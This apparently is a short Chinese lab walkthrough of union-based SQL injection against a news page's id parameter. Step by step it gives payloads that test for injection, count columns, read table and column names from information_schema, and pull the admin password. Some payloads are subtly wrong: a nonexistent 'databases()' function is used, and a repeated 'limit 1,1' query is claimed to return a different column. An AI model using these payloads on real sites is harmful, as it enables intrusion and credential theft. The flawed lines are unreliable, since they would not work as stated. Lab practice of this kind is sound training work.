点击查看新闻
我们输入不同的id,可以得到不同的数据库,那么页面也就不同
测试:id=3,有网页,我们接着测试id=4 id=5 id=6 发现都没有内容,说明id最大为3
先查看是否存在注入点:构造?id=1 and 1=1
回车后发现页面正常
构造?id=1 and 1=2
发现页面异常,得出结论:存在注入点
第二步 判断字段数,使用order by 1 和order by 2,页面无明显异常。
当order by 3时,页面出现异常,说明字段数为2
第三步 判断回显点
构造" id=1 and 1=2 union select 1,2",发现页面回显 2,所以回显点为2
查询相关内容
构造'?id=1 and 1=2 union select 1,databases() ' 得到数据库名为maoshe
查询表名:?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1
获取当前数据库表名为admin
查询字段名:union select 1,column_name from information_schema.columns where table_schema =database() and table_name='admin' limit 0,1
获取当前表下字段名为 id
?id=1 and 1=2%20 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1,1
获取第二个字段名为 username
?id=1 and 1=2%20 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1,1
获取第三个字段名为 password
查询用户名
查询用户名admin的密码
?id=1 and 1=2%20 union select 1,password from admin limit 0,1
得到密码为hello hack